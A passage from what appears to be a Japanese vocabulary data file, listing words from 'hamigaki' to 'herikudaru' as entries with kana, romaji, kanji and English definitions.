love\"\n\t},\n\n\t{\n\t\t'kana':'はみがき',\n\t\t'romaji':'hamigaki',\n\t\t'kanji':'歯磨',\n\t\t'definition':\"dentifrice;toothpaste\"\n\t},\n\n\t{\n\t\t'kana':'はん',\n\t\t'romaji':'han',\n\t\t'kanji':'半',\n\t\t'definition':\"half\"\n\t},\n\n\t{\n\t\t'kana':'はん',\n\t\t'romaji':'han',\n\t\t'kanji':'版',\n\t\t'definition':\"edition\"\n\t},\n\n\t{\n\t\t'kana':'はん',\n\t\t'romaji':'han',\n\t\t'kanji':'判',\n\t\t'definition':\"seal;stamp;monogram signature;judgment\"\n\t},\n\n\t{\n\t\t'kana':'はん',\n\t\t'romaji':'han',\n\t\t'kanji':'班',\n\t\t'definition':\"group;party;section (mil)\"\n\t},\n\n\t{\n\t\t'kana':'はな',\n\t\t'romaji':'hana',\n\t\t'kanji':'鼻',\n\t\t'definition':\"nose\"\n\t},\n\n\t{\n\t\t'kana':'はな',\n\t\t'romaji':'hana',\n\t\t'kanji':'花',\n\t\t'definition':\"flower\"\n\t},\n\n\t{\n\t\t'kana':'はなばなしい',\n\t\t'romaji':'hanabanashii',\n\t\t'kanji':'華々しい',\n\t\t'definition':\"brilliant;magnificent;spectacular\"\n\t},\n\n\t{\n\t\t'kana':'はなび',\n\t\t'romaji':'hanabi',\n\t\t'kanji':'花火',\n\t\t'definition':\"fireworks\"\n\t},\n\n\t{\n\t\t'kana':'はなびら',\n\t\t'romaji':'hanabira',\n\t\t'kanji':'花びら',\n\t\t'definition':\"(flower) petal\"\n\t},\n\n\t{\n\t\t'kana':'はなはだ',\n\t\t'romaji':'hanahada',\n\t\t'kanji':'甚だ',\n\t\t'definition':\"very;greatly;exceedingly\"\n\t},\n\n\t{\n\t\t'kana':'はなはだしい',\n\t\t'romaji':'hanahadashii',\n\t\t'kanji':'甚だしい',\n\t\t'definition':\"extreme;excessive;terrible;intense;severe;serious;tremendous;heavy (damage)\"\n\t},\n\n\t{\n\t\t'kana':'はなみ',\n\t\t'romaji':'hanami',\n\t\t'kanji':'花見',\n\t\t'definition':\"cherry-blossom viewing;flower viewing\"\n\t},\n\n\t{\n\t\t'kana':'はなれる',\n\t\t'romaji':'hanareru',\n\t\t'kanji':'放れる',\n\t\t'definition':\"to leave;to get free;to cut oneself off\"\n\t},\n\n\t{\n\t\t'kana':'はなれる',\n\t\t'romaji':'hanareru',\n\t\t'kanji':'離れる',\n\t\t'definition':\"to be separated from;to leave;to go away;to be a long way off\"\n\t},\n\n\t{\n\t\t'kana':'はなし',\n\t\t'romaji':'hanashi',\n\t\t'kanji':'話',\n\t\t'definition':\"talk;speech;chat;story;conversation\"\n\t},\n\n\t{\n\t\t'kana':'はなしあい',\n\t\t'romaji':'hanashiai',\n\t\t'kanji':'話し合い',\n\t\t'definition':\"discussion;conference\"\n\t},\n\n\t{\n\t\t'kana':'はなしあう',\n\t\t'romaji':'hanashiau',\n\t\t'kanji':'話し合う',\n\t\t'definition':\"to discuss;to talk together\"\n\t},\n\n\t{\n\t\t'kana':'はなしちゅう',\n\t\t'romaji':'hanashichuu',\n\t\t'kanji':'話中',\n\t\t'definition':\"while talking;the line is busy\"\n\t},\n\n\t{\n\t\t'kana':'はなしかける',\n\t\t'romaji':'hanashikakeru',\n\t\t'kanji':'話し掛ける',\n\t\t'definition':\"to accost a person;to talk (to someone)\"\n\t},\n\n\t{\n\t\t'kana':'はなす',\n\t\t'romaji':'hanasu',\n\t\t'kanji':'放す',\n\t\t'definition':\"to separate;to set free\"\n\t},\n\n\t{\n\t\t'kana':'はなす',\n\t\t'romaji':'hanasu',\n\t\t'kanji':'離す',\n\t\t'definition':\"to part;divide;separate\"\n\t},\n\n\t{\n\t\t'kana':'はなす',\n\t\t'romaji':'hanasu',\n\t\t'kanji':'話す',\n\t\t'definition':\"to speak\"\n\t},\n\n\t{\n\t\t'kana':'はなやか',\n\t\t'romaji':'hanayaka',\n\t\t'kanji':'華やか',\n\t\t'definition':\"gay;showy;brilliant;gorgeous;florid\"\n\t},\n\n\t{\n\t\t'kana':'はなよめ',\n\t\t'romaji':'hanayome',\n\t\t'kanji':'花嫁',\n\t\t'definition':\"bride\"\n\t},\n\n\t{\n\t\t'kana':'はんばい',\n\t\t'romaji':'hanbai',\n\t\t'kanji':'販売',\n\t\t'definition':\"sale;selling;marketing\"\n\t},\n\n\t{\n\t\t'kana':'はんぶん',\n\t\t'romaji':'hanbun',\n\t\t'kanji':'半分',\n\t\t'definition':\"half\"\n\t},\n\n\t{\n\t\t'kana':'はんだん',\n\t\t'romaji':'handan',\n\t\t'kanji':'判断',\n\t\t'definition':\"judgement;decision;adjudication;conclusion;decipherment;divination\"\n\t},\n\n\t{\n\t\t'kana':'ハンドバッグ',\n\t\t'romaji':'handobagu',\n\t\t'kanji':'',\n\t\t'definition':\"handbag\"\n\t},\n\n\t{\n\t\t'kana':'ハンドル',\n\t\t'romaji':'handoru',\n\t\t'kanji':'',\n\t\t'definition':\"handle;steering wheel\"\n\t},\n\n\t{\n\t\t'kana':'はね',\n\t\t'romaji':'hane',\n\t\t'kanji':'羽',\n\t\t'definition':\"feather;plume;wing\"\n\t},\n\n\t{\n\t\t'kana':'はね',\n\t\t'romaji':'hane',\n\t\t'kanji':'羽',\n\t\t'definition':\"feather;plume;wing\"\n\t},\n\n\t{\n\t\t'kana':'はんえい',\n\t\t'romaji':'hanei',\n\t\t'kanji':'反映',\n\t\t'definition':\"reflection;influence\"\n\t},\n\n\t{\n\t\t'kana':'はんえい',\n\t\t'romaji':'hanei',\n\t\t'kanji':'繁栄',\n\t\t'definition':\"prospering;prosperity;thriving;flourishing\"\n\t},\n\n\t{\n\t\t'kana':'はねる',\n\t\t'romaji':'haneru',\n\t\t'kanji':'跳ねる',\n\t\t'definition':\"to jump;to leap;to prance;to spring up;to bound;to hop\"\n\t},\n\n\t{\n\t\t'kana':'はんが',\n\t\t'romaji':'hanga',\n\t\t'kanji':'版画',\n\t\t'definition':\"art print\"\n\t},\n\n\t{\n\t\t'kana':'ハンガー',\n\t\t'romaji':'hanga-',\n\t\t'kanji':'',\n\t\t'definition':\"hangar;(coat) hanger;hunger\"\n\t},\n\n\t{\n\t\t'kana':'はんげき',\n\t\t'romaji':'hangeki',\n\t\t'kanji':'反撃',\n\t\t'definition':\"counterattack;counteroffensive;counterblow\"\n\t},\n\n\t{\n\t\t'kana':'はんい',\n\t\t'romaji':'hani',\n\t\t'kanji':'範囲',\n\t\t'definition':\"extent;scope;sphere;range\"\n\t},\n\n\t{\n\t\t'kana':'はんじ',\n\t\t'romaji':'hanji',\n\t\t'kanji':'判事',\n\t\t'definition':\"judge;judiciary\"\n\t},\n\n\t{\n\t\t'kana':'はんじょう',\n\t\t'romaji':'hanjyou',\n\t\t'kanji':'繁盛',\n\t\t'definition':\"prosperity;flourishing;thriving\"\n\t},\n\n\t{\n\t\t'kana':'はんかん',\n\t\t'romaji':'hankan',\n\t\t'kanji':'反感',\n\t\t'definition':\"antipathy;revolt;animosity\"\n\t},\n\n\t{\n\t\t'kana':'はんけい',\n\t\t'romaji':'hankei',\n\t\t'kanji':'半径',\n\t\t'definition':\"radius\"\n\t},\n\n\t{\n\t\t'kana':'はんけつ',\n\t\t'romaji':'hanketsu',\n\t\t'kanji':'判決',\n\t\t'definition':\"judicial decision;judgement;sentence;decree\"\n\t},\n\n\t{\n\t\t'kana':'はんこ',\n\t\t'romaji':'hanko',\n\t\t'kanji':'判子',\n\t\t'definition':\"seal (used for signature)\"\n\t},\n\n\t{\n\t\t'kana':'はんこう',\n\t\t'romaji':'hankou',\n\t\t'kanji':'反抗',\n\t\t'definition':\"opposition;resistance;insubordination;defiance;hostility;rebellion\"\n\t},\n\n\t{\n\t\t'kana':'はんきょう',\n\t\t'romaji':'hankyou',\n\t\t'kanji':'反響',\n\t\t'definition':\"echo;reverberation;repercussion;reaction;influence\"\n\t},\n\n\t{\n\t\t'kana':'はんにん',\n\t\t'romaji':'hannin',\n\t\t'kanji':'犯人',\n\t\t'definition':\"offender;criminal\"\n\t},\n\n\t{\n\t\t'kana':'はんのう',\n\t\t'romaji':'hannou',\n\t\t'kanji':'反応',\n\t\t'definition':\"reaction;response\"\n\t},\n\n\t{\n\t\t'kana':'はんぱ',\n\t\t'romaji':'hanpa',\n\t\t'kanji':'半端',\n\t\t'definition':\"remnant;fragment;incomplete set;fraction;odd sum;incompleteness\"\n\t},\n\n\t{\n\t\t'kana':'はんぱつ',\n\t\t'romaji':'hanpatsu',\n\t\t'kanji':'反発',\n\t\t'definition':\"repelling;rebound;recover;oppose\"\n\t},\n\n\t{\n\t\t'kana':'はんらん',\n\t\t'romaji':'hanran',\n\t\t'kanji':'氾濫',\n\t\t'definition':\"overflowing;flood\"\n\t},\n\n\t{\n\t\t'kana':'はんらん',\n\t\t'romaji':'hanran',\n\t\t'kanji':'反乱',\n\t\t'definition':\"insurrection;mutiny;rebellion;revolt;uprising\"\n\t},\n\n\t{\n\t\t'kana':'ハンサム',\n\t\t'romaji':'hansamu',\n\t\t'kanji':'',\n\t\t'definition':\"handsome\"\n\t},\n\n\t{\n\t\t'kana':'はんせい',\n\t\t'romaji':'hansei',\n\t\t'kanji':'反省',\n\t\t'definition':\"reflection;reconsideration;introspection;meditation;contemplation\"\n\t},\n\n\t{\n\t\t'kana':'はんしゃ',\n\t\t'romaji':'hansha',\n\t\t'kanji':'反射',\n\t\t'definition':\"reflection;reverberation\"\n\t},\n\n\t{\n\t\t'kana':'はんしょく',\n\t\t'romaji':'hanshoku',\n\t\t'kanji':'繁殖',\n\t\t'definition':\"breed;multiply;increase;propagation\"\n\t},\n\n\t{\n\t\t'kana':'はんする',\n\t\t'romaji':'hansuru',\n\t\t'kanji':'反する',\n\t\t'definition':\"to be inconsistent with;to oppose;to contradict;to transgress;to rebel\"\n\t},\n\n\t{\n\t\t'kana':'はんたい',\n\t\t'romaji':'hantai',\n\t\t'kanji':'反対',\n\t\t'definition':\"opposition;resistance;antagonism;hostility;contrast;objection;dissension;reverse;opposite;vice versa\"\n\t},\n\n\t{\n\t\t'kana':'はんてい',\n\t\t'romaji':'hantei',\n\t\t'kanji':'判定',\n\t\t'definition':\"judgement;decision;award;verdict\"\n\t},\n\n\t{\n\t\t'kana':'はんとう',\n\t\t'romaji':'hantou',\n\t\t'kanji':'半島',\n\t\t'definition':\"peninsula\"\n\t},\n\n\t{\n\t\t'kana':'はんざい',\n\t\t'romaji':'hanzai',\n\t\t'kanji':'犯罪',\n\t\t'definition':\"crime\"\n\t},\n\n\t{\n\t\t'kana':'はっぴょう',\n\t\t'romaji':'hapyou',\n\t\t'kanji':'発表',\n\t\t'definition':\"announcement;publication\"\n\t},\n\n\t{\n\t\t'kana':'はら',\n\t\t'romaji':'hara',\n\t\t'kanji':'腹',\n\t\t'definition':\"abdomen;belly;stomach\"\n\t},\n\n\t{\n\t\t'kana':'はらだち',\n\t\t'romaji':'haradachi',\n\t\t'kanji':'腹立ち',\n\t\t'definition':\"anger\"\n\t},\n\n\t{\n\t\t'kana':'はらいこむ',\n\t\t'romaji':'haraikomu',\n\t\t'kanji':'払い込む',\n\t\t'definition':\"to deposit;to pay in\"\n\t},\n\n\t{\n\t\t'kana':'はらいもどす',\n\t\t'romaji':'haraimodosu',\n\t\t'kanji':'払い戻す',\n\t\t'definition':\"to repay;to pay back\"\n\t},\n\n\t{\n\t\t'kana':'はらっぱ',\n\t\t'romaji':'harapa',\n\t\t'kanji':'原っぱ',\n\t\t'definition':\"open field;empty lot;plain\"\n\t},\n\n\t{\n\t\t'kana':'はらう',\n\t\t'romaji':'harau',\n\t\t'kanji':'払う',\n\t\t'definition':\"to pay;to brush;to wipe\"\n\t},\n\n\t{\n\t\t'kana':'はれ',\n\t\t'romaji':'hare',\n\t\t'kanji':'晴れ',\n\t\t'definition':\"clear weather\"\n\t},\n\n\t{\n\t\t'kana':'はれる',\n\t\t'romaji':'hareru',\n\t\t'kanji':'晴れる',\n\t\t'definition':\"to be sunny;to clear away;to stop raining\"\n\t},\n\n\t{\n\t\t'kana':'はれる',\n\t\t'romaji':'hareru',\n\t\t'kanji':'腫れる',\n\t\t'definition':\"to swell (from inflammation);to become swollen\"\n\t},\n\n\t{\n\t\t'kana':'はれつ',\n\t\t'romaji':'haretsu',\n\t\t'kanji':'破裂',\n\t\t'definition':\"explosion;rupture;break off\"\n\t},\n\n\t{\n\t\t'kana':'はり',\n\t\t'romaji':'hari',\n\t\t'kanji':'針',\n\t\t'definition':\"needle;fish hook;pointer;hand (e.g. clock)\"\n\t},\n\n\t{\n\t\t'kana':'はりがみ',\n\t\t'romaji':'harigami',\n\t\t'kanji':'張り紙',\n\t\t'definition':\"paper patch;paper backing;poster\"\n\t},\n\n\t{\n\t\t'kana':'はりがね',\n\t\t'romaji':'harigane',\n\t\t'kanji':'針金',\n\t\t'definition':\"wire\"\n\t},\n\n\t{\n\t\t'kana':'はりきる',\n\t\t'romaji':'harikiru',\n\t\t'kanji':'張り切る',\n\t\t'definition':\"to be in high spirits;to be full of vigor;to be enthusiastic;to be eager;to stretch to breaking point\"\n\t},\n\n\t{\n\t\t'kana':'はる',\n\t\t'romaji':'haru',\n\t\t'kanji':'張る',\n\t\t'definition':\"to stick;to paste;to put;to affix;to stretch;to spread;to strain;to stick out;to slap;to be expensive;to tighten\"\n\t},\n\n\t{\n\t\t'kana':'はる',\n\t\t'romaji':'haru',\n\t\t'kanji':'貼る',\n\t\t'definition':\"to stick;to paste\"\n\t},\n\n\t{\n\t\t'kana':'はる',\n\t\t'romaji':'haru',\n\t\t'kanji':'春',\n\t\t'definition':\"spring\"\n\t},\n\n\t{\n\t\t'kana':'はるか',\n\t\t'romaji':'haruka',\n\t\t'kanji':'遥か',\n\t\t'definition':\"far;far-away;distant;remote;far off\"\n\t},\n\n\t{\n\t\t'kana':'はさまる',\n\t\t'romaji':'hasamaru',\n\t\t'kanji':'挟まる',\n\t\t'definition':\"to get between;to be caught in\"\n\t},\n\n\t{\n\t\t'kana':'はさみ',\n\t\t'romaji':'hasami',\n\t\t'kanji':'鋏',\n\t\t'definition':\"scissors\"\n\t},\n\n\t{\n\t\t'kana':'はさん',\n\t\t'romaji':'hasan',\n\t\t'kanji':'破産',\n\t\t'definition':\"(personal) bankruptcy\"\n\t},\n\n\t{\n\t\t'kana':'はっしゃ',\n\t\t'romaji':'hasha',\n\t\t'kanji':'発射',\n\t\t'definition':\"firing;shooting;discharge;catapult\"\n\t},\n\n\t{\n\t\t'kana':'はっしゃ',\n\t\t'romaji':'hasha',\n\t\t'kanji':'発車',\n\t\t'definition':\"departure of a vehicle\"\n\t},\n\n\t{\n\t\t'kana':'はし',\n\t\t'romaji':'hashi',\n\t\t'kanji':'橋',\n\t\t'definition':\"bridge\"\n\t},\n\n\t{\n\t\t'kana':'はし',\n\t\t'romaji':'hashi',\n\t\t'kanji':'箸',\n\t\t'definition':\"chopsticks\"\n\t},\n\n\t{\n\t\t'kana':'はし',\n\t\t'romaji':'hashi',\n\t\t'kanji':'端',\n\t\t'definition':\"end (e.g. of street);edge;tip;margin;point\"\n\t},\n\n\t{\n\t\t'kana':'はし',\n\t\t'romaji':'hashi',\n\t\t'kanji':'橋',\n\t\t'definition':\"bridge\"\n\t},\n\n\t{\n\t\t'kana':'はしら',\n\t\t'romaji':'hashira',\n\t\t'kanji':'柱',\n\t\t'definition':\"pillar;post\"\n\t},\n\n\t{\n\t\t'kana':'はしる',\n\t\t'romaji':'hashiru',\n\t\t'kanji':'走る',\n\t\t'definition':\"to run\"\n\t},\n\n\t{\n\t\t'kana':'はしわたし',\n\t\t'romaji':'hashiwatashi',\n\t\t'kanji':'橋渡し',\n\t\t'definition':\"bridge building;mediation\"\n\t},\n\n\t{\n\t\t'kana':'はそん',\n\t\t'romaji':'hason',\n\t\t'kanji':'破損',\n\t\t'definition':\"damage\"\n\t},\n\n\t{\n\t\t'kana':'はっせい',\n\t\t'romaji':'hassei',\n\t\t'kanji':'発生',\n\t\t'definition':\"outbreak;spring forth;occurrence;incidence;origin\"\n\t},\n\n\t{\n\t\t'kana':'はっそく',\n\t\t'romaji':'hassoku',\n\t\t'kanji':'発足',\n\t\t'definition':\"starting;inauguration\"\n\t},\n\n\t{\n\t\t'kana':'はっそう',\n\t\t'romaji':'hassou',\n\t\t'kanji':'発想',\n\t\t'definition':\"expression (music);conceptualization\"\n\t},\n\n\t{\n\t\t'kana':'はす',\n\t\t'romaji':'hasu',\n\t\t'kanji':'蓮',\n\t\t'definition':\"lotus\"\n\t},\n\n\t{\n\t\t'kana':'はた',\n\t\t'romaji':'hata',\n\t\t'kanji':'機',\n\t\t'definition':\"loom\"\n\t},\n\n\t{\n\t\t'kana':'はた',\n\t\t'romaji':'hata',\n\t\t'kanji':'旗',\n\t\t'definition':\"flag\"\n\t},\n\n\t{\n\t\t'kana':'はたち',\n\t\t'romaji':'hatachi',\n\t\t'kanji':'二十歳',\n\t\t'definition':\"20 years old;20th year\"\n\t},\n\n\t{\n\t\t'kana':'はたけ',\n\t\t'romaji':'hatake',\n\t\t'kanji':'畑',\n\t\t'definition':\"field\"\n\t},\n\n\t{\n\t\t'kana':'はたらき',\n\t\t'romaji':'hataraki',\n\t\t'kanji':'働き',\n\t\t'definition':\"work;workings;activity;ability;talent;function;labor;action;operation;movement;motion;conjugation;inflection;achievement\"\n\t},\n\n\t{\n\t\t'kana':'はたらく',\n\t\t'romaji':'hataraku',\n\t\t'kanji':'働く',\n\t\t'definition':\"to work;to labor;to do;to act;to commit;to practise;to work on;to come into play;to be conjugated;to reduce the price\"\n\t},\n\n\t{\n\t\t'kana':'はたして',\n\t\t'romaji':'hatashite',\n\t\t'kanji':'果たして',\n\t\t'definition':\"as was expected;really\"\n\t},\n\n\t{\n\t\t'kana':'はたす',\n\t\t'romaji':'hatasu',\n\t\t'kanji':'果たす',\n\t\t'definition':\"to accomplish;to fulfill;to carry out;to achieve\"\n\t},\n\n\t{\n\t\t'kana':'はて',\n\t\t'romaji':'hate',\n\t\t'kanji':'果て',\n\t\t'definition':\"the end;the extremity;the limit(s);the result\"\n\t},\n\n\t{\n\t\t'kana':'はてる',\n\t\t'romaji':'hateru',\n\t\t'kanji':'果てる',\n\t\t'definition':\"to end;to be finished;to be exhausted;to die;to perish\"\n\t},\n\n\t{\n\t\t'kana':'はつ',\n\t\t'romaji':'hatsu',\n\t\t'kanji':'発',\n\t\t'definition':\"departure;beginning;counter for gunshots\"\n\t},\n\n\t{\n\t\t'kana':'はつ',\n\t\t'romaji':'hatsu',\n\t\t'kanji':'初',\n\t\t'definition':\"first;new\"\n\t},\n\n\t{\n\t\t'kana':'はつばい',\n\t\t'romaji':'hatsubai',\n\t\t'kanji':'発売',\n\t\t'definition':\"sale\"\n\t},\n\n\t{\n\t\t'kana':'はつびょう',\n\t\t'romaji':'hatsubyou',\n\t\t'kanji':'発病',\n\t\t'definition':\"attack (disease)\"\n\t},\n\n\t{\n\t\t'kana':'はつでん',\n\t\t'romaji':'hatsuden',\n\t\t'kanji':'発電',\n\t\t'definition':\"generation (e.g. power)\"\n\t},\n\n\t{\n\t\t'kana':'はつが',\n\t\t'romaji':'hatsuga',\n\t\t'kanji':'発芽',\n\t\t'definition':\"burgeoning\"\n\t},\n\n\t{\n\t\t'kana':'はつげん',\n\t\t'romaji':'hatsugen',\n\t\t'kanji':'発言',\n\t\t'definition':\"utterance;speech;proposal\"\n\t},\n\n\t{\n\t\t'kana':'はついく',\n\t\t'romaji':'hatsuiku',\n\t\t'kanji':'発育',\n\t\t'definition':\"(physical) growth;development\"\n\t},\n\n\t{\n\t\t'kana':'はつか',\n\t\t'romaji':'hatsuka',\n\t\t'kanji':'二十日',\n\t\t'definition':\"twenty days;twentieth (day of the month)\"\n\t},\n\n\t{\n\t\t'kana':'はつめい',\n\t\t'romaji':'hatsumei',\n\t\t'kanji':'発明',\n\t\t'definition':\"invention\"\n\t},\n\n\t{\n\t\t'kana':'はつみみ',\n\t\t'romaji':'hatsumimi',\n\t\t'kanji':'初耳',\n\t\t'definition':\"something heard for the first time\"\n\t},\n\n\t{\n\t\t'kana':'はつおん',\n\t\t'romaji':'hatsuon',\n\t\t'kanji':'発音',\n\t\t'definition':\"pronunciation\"\n\t},\n\n\t{\n\t\t'kana':'はったつ',\n\t\t'romaji':'hattatsu',\n\t\t'kanji':'発達',\n\t\t'definition':\"development;growth\"\n\t},\n\n\t{\n\t\t'kana':'はってん',\n\t\t'romaji':'hatten',\n\t\t'kanji':'発展',\n\t\t'definition':\"development;growth\"\n\t},\n\n\t{\n\t\t'kana':'はう',\n\t\t'romaji':'hau',\n\t\t'kanji':'這う',\n\t\t'definition':\"to creep;to crawl\"\n\t},\n\n\t{\n\t\t'kana':'はやい',\n\t\t'romaji':'hayai',\n\t\t'kanji':'速い',\n\t\t'definition':\"quick;fast;swift\"\n\t},\n\n\t{\n\t\t'kana':'はやい',\n\t\t'romaji':'hayai',\n\t\t'kanji':'早い',\n\t\t'definition':\"early\"\n\t},\n\n\t{\n\t\t'kana':'はやくち',\n\t\t'romaji':'hayakuchi',\n\t\t'kanji':'早口',\n\t\t'definition':\"fast-talking\"\n\t},\n\n\t{\n\t\t'kana':'はやめる',\n\t\t'romaji':'hayameru',\n\t\t'kanji':'早める',\n\t\t'definition':\"to hasten;to quicken;to expedite;to precipitate;to accelerate\"\n\t},\n\n\t{\n\t\t'kana':'はやり',\n\t\t'romaji':'hayari',\n\t\t'kanji':'流行',\n\t\t'definition':\"fashionable;fad;in vogue;prevailing\"\n\t},\n\n\t{\n\t\t'kana':'はやる',\n\t\t'romaji':'hayaru',\n\t\t'kanji':'流行る',\n\t\t'definition':\"to flourish;to thrive;to be popular;to come into fashion\"\n\t},\n\n\t{\n\t\t'kana':'はやし',\n\t\t'romaji':'hayashi',\n\t\t'kanji':'林',\n\t\t'definition':\"woods;forest\"\n\t},\n\n\t{\n\t\t'kana':'はやす',\n\t\t'romaji':'hayasu',\n\t\t'kanji':'生やす',\n\t\t'definition':\"to grow;to cultivate;to wear beard\"\n\t},\n\n\t{\n\t\t'kana':'はず',\n\t\t'romaji':'hazu',\n\t\t'kanji':'筈',\n\t\t'definition':\"it should be so\"\n\t},\n\n\t{\n\t\t'kana':'はずかしい',\n\t\t'romaji':'hazukashii',\n\t\t'kanji':'恥ずかしい',\n\t\t'definition':\"shy;ashamed;embarrassed\"\n\t},\n\n\t{\n\t\t'kana':'はずむ',\n\t\t'romaji':'hazumu',\n\t\t'kanji':'弾む',\n\t\t'definition':\"to spring;to bound;to bounce;to be stimulated;to be encouraged;to get lively;to treat oneself to;to splurge on\"\n\t},\n\n\t{\n\t\t'kana':'はずれる',\n\t\t'romaji':'hazureru',\n\t\t'kanji':'外れる',\n\t\t'definition':\"to be disconnected;to get out of place;to be off;to be out (e.g. of gear)\"\n\t},\n\n\t{\n\t\t'kana':'はずす',\n\t\t'romaji':'hazusu',\n\t\t'kanji':'外す',\n\t\t'definition':\"to unfasten;to remove\"\n\t},\n\n\t{\n\t\t'kana':'へだたる',\n\t\t'romaji':'hedataru',\n\t\t'kanji':'隔たる',\n\t\t'definition':\"to be distant\"\n\t},\n\n\t{\n\t\t'kana':'へだてる',\n\t\t'romaji':'hedateru',\n\t\t'kanji':'隔てる',\n\t\t'definition':\"to be shut out\"\n\t},\n\n\t{\n\t\t'kana':'へい',\n\t\t'romaji':'hei',\n\t\t'kanji':'塀',\n\t\t'definition':\"wall;fence\"\n\t},\n\n\t{\n\t\t'kana':'へいぼん',\n\t\t'romaji':'heibon',\n\t\t'kanji':'平凡',\n\t\t'definition':\"common;commonplace;ordinary;mediocre\"\n\t},\n\n\t{\n\t\t'kana':'へいほう',\n\t\t'romaji':'heihou',\n\t\t'kanji':'平方',\n\t\t'definition':\"square (e.g. metre);square\"\n\t},\n\n\t{\n\t\t'kana':'へいじつ',\n\t\t'romaji':'heijitsu',\n\t\t'kanji':'平日',\n\t\t'definition':\"weekday;ordinary days\"\n\t},\n\n\t{\n\t\t'kana':'へいじょう',\n\t\t'romaji':'heijyou',\n\t\t'kanji':'平常',\n\t\t'definition':\"normal;usual\"\n\t},\n\n\t{\n\t\t'kana':'へいかい',\n\t\t'romaji':'heikai',\n\t\t'kanji':'閉会',\n\t\t'definition':\"closure\"\n\t},\n\n\t{\n\t\t'kana':'へいき',\n\t\t'romaji':'heiki',\n\t\t'kanji':'平気',\n\t\t'definition':\"coolness;calmness;composure;unconcern\"\n\t},\n\n\t{\n\t\t'kana':'へいき',\n\t\t'romaji':'heiki',\n\t\t'kanji':'兵器',\n\t\t'definition':\"arms;weapons;ordinance\"\n\t},\n\n\t{\n\t\t'kana':'へいこう',\n\t\t'romaji':'heikou',\n\t\t'kanji':'平行',\n\t\t'definition':\"(going) side by side;concurrent;abreast;at the same time;occurring together;parallel;parallelism\"\n\t},\n\n\t{\n\t\t'kana':'へいこう',\n\t\t'romaji':'heikou',\n\t\t'kanji':'閉口',\n\t\t'definition':\"shut mouth\"\n\t},\n\n\t{\n\t\t'kana':'へいこう',\n\t\t'romaji':'heikou',\n\t\t'kanji':'並行',\n\t\t'definition':\"(going) side by side;concurrent;abreast;at the same time;occurring together;parallel;parallelism\"\n\t},\n\n\t{\n\t\t'kana':'へいれつ',\n\t\t'romaji':'heiretsu',\n\t\t'kanji':'並列',\n\t\t'definition':\"arrangement;parallel;abreast\"\n\t},\n\n\t{\n\t\t'kana':'へいさ',\n\t\t'romaji':'heisa',\n\t\t'kanji':'閉鎖',\n\t\t'definition':\"closing;closure;shutdown;lockout;unsociable\"\n\t},\n\n\t{\n\t\t'kana':'へいし',\n\t\t'romaji':'heishi',\n\t\t'kanji':'兵士',\n\t\t'definition':\"soldier\"\n\t},\n\n\t{\n\t\t'kana':'へいたい',\n\t\t'romaji':'heitai',\n\t\t'kanji':'兵隊',\n\t\t'definition':\"soldier;sailor\"\n\t},\n\n\t{\n\t\t'kana':'へいわ',\n\t\t'romaji':'heiwa',\n\t\t'kanji':'平和',\n\t\t'definition':\"peace;harmony\"\n\t},\n\n\t{\n\t\t'kana':'へいや',\n\t\t'romaji':'heiya',\n\t\t'kanji':'平野',\n\t\t'definition':\"plain;open field\"\n\t},\n\n\t{\n\t\t'kana':'へきえき',\n\t\t'romaji':'hekieki',\n\t\t'kanji':'辟易',\n\t\t'definition':\"wince;shrink back;succumbing to;being frightened;disconcerted\"\n\t},\n\n\t{\n\t\t'kana':'へこむ',\n\t\t'romaji':'hekomu',\n\t\t'kanji':'凹む',\n\t\t'definition':\"to be dented;to be indented;to yield to;to give;to sink;to collapse;to cave in;to be snubbed\"\n\t},\n\n\t{\n\t\t'kana':'へん',\n\t\t'romaji':'hen',\n\t\t'kanji':'偏',\n\t\t'definition':\"side;left radical of a character;inclining;inclining toward;biased\"\n\t},\n\n\t{\n\t\t'kana':'へん',\n\t\t'romaji':'hen',\n\t\t'kanji':'編',\n\t\t'definition':\"compilation;editing;completed poem;book;part of book\"\n\t},\n\n\t{\n\t\t'kana':'へん',\n\t\t'romaji':'hen',\n\t\t'kanji':'辺',\n\t\t'definition':\"area;vicinity\"\n\t},\n\n\t{\n\t\t'kana':'へん',\n\t\t'romaji':'hen',\n\t\t'kanji':'変',\n\t\t'definition':\"change;incident;disturbance;strange;flat (music);odd;peculiar;suspicious-looking;queer;eccentric;funny\"\n\t},\n\n\t{\n\t\t'kana':'へんどう',\n\t\t'romaji':'hendou',\n\t\t'kanji':'変動',\n\t\t'definition':\"change;fluctuation\"\n\t},\n\n\t{\n\t\t'kana':'へんじ',\n\t\t'romaji':'henji',\n\t\t'kanji':'返事',\n\t\t'definition':\"reply;answer\"\n\t},\n\n\t{\n\t\t'kana':'へんか',\n\t\t'romaji':'henka',\n\t\t'kanji':'変化',\n\t\t'definition':\"change;variation;alteration;mutation;transition;transformation;transfiguration;metamorphosis;variety;diversity;inflection;declension;conjugation\"\n\t},\n\n\t{\n\t\t'kana':'へんかく',\n\t\t'romaji':'henkaku',\n\t\t'kanji':'変革',\n\t\t'definition':\"change;reform;revolution;upheaval;(the) Reformation\"\n\t},\n\n\t{\n\t\t'kana':'へんかん',\n\t\t'romaji':'henkan',\n\t\t'kanji':'返還',\n\t\t'definition':\"return;restoration\"\n\t},\n\n\t{\n\t\t'kana':'へんけん',\n\t\t'romaji':'henken',\n\t\t'kanji':'偏見',\n\t\t'definition':\"prejudice;narrow view\"\n\t},\n\n\t{\n\t\t'kana':'へんこう',\n\t\t'romaji':'henkou',\n\t\t'kanji':'変更',\n\t\t'definition':\"change;modification;alteration\"\n\t},\n\n\t{\n\t\t'kana':'へんさい',\n\t\t'romaji':'hensai',\n\t\t'kanji':'返済',\n\t\t'definition':\"repayment\"\n\t},\n\n\t{\n\t\t'kana':'へんせん',\n\t\t'romaji':'hensen',\n\t\t'kanji':'変遷',\n\t\t'definition':\"change;transition;vicissitudes\"\n\t},\n\n\t{\n\t\t'kana':'へんしゅう',\n\t\t'romaji':'henshuu',\n\t\t'kanji':'編集',\n\t\t'definition':\"editing;compilation;editorial (e.g. committee)\"\n\t},\n\n\t{\n\t\t'kana':'へんとう',\n\t\t'romaji':'hentou',\n\t\t'kanji':'返答',\n\t\t'definition':\"reply\"\n\t},\n\n\t{\n\t\t'kana':'へらす',\n\t\t'romaji':'herasu',\n\t\t'kanji':'減らす',\n\t\t'definition':\"to abate;to decrease;to diminish;to shorten\"\n\t},\n\n\t{\n\t\t'kana':'ヘリコプター',\n\t\t'romaji':'herikoputa-',\n\t\t'kanji':'',\n\t\t'definition':\"helicopter\"\n\t},\n\n\t{\n\t\t'kana':'へりくだる',\n\t\t'romaji':'herikudaru',\n\t\t'kanji':'謙る',\n\t\t'definition':\"to 